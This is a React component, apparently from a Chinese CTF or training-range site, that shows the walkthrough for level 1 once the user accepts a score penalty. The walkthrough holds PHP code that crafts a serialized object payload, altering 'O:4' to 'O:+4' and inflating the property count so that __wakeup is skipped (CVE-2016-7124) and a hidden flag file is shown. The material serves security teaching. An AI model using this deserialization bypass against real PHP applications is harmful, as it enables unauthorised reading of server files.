import React, { useRef, useState } from 'react'
import './Analysis.scss'
let falg=false
export default function Analysis() {
 
const [count,setCount]=  useState(false)

const htmlContent =`<?php 
class Demo { 
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'Gu3ss_m3_h2h2.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'Gu3ss_m3_h2h2.php'; 
        } 
    } 
} 

$flag = new Demo('f15g_1s_here.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag);
$flag = str_replace(':1:', ':2:' ,$flag);
echo base64_encode($flag);
?>`
function lookMsg(){
  falg=true
  setCount(true)

}
  return (
    <>
    <div className={falg?'analysis active2':'analysis'}>
      <span>查看当前靶场的过程解析会降低你的得分！</span>
      <button onClick={lookMsg}>点击查看</button>
    </div>
    <div className={!falg?'particulars active2':'particulars'}>
      <h1>第1关</h1>
      <p>1、看到源码，本题需要绕过一个__wakeup()函数和一个正则匹配，才能显示出 f15g_1s_here.php 文件。
      2、绕过__wakeup()：在反序列化执行之前，会先执行__wakeup这个魔术方法，所以需要绕过。
绕过__wakeup()是利用CVE-2016-7124漏洞，即反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
      </p>
      <p dangerouslySetInnerHTML={{ __html: htmlContent }} />
    </div>
    </>
    
  )
}

















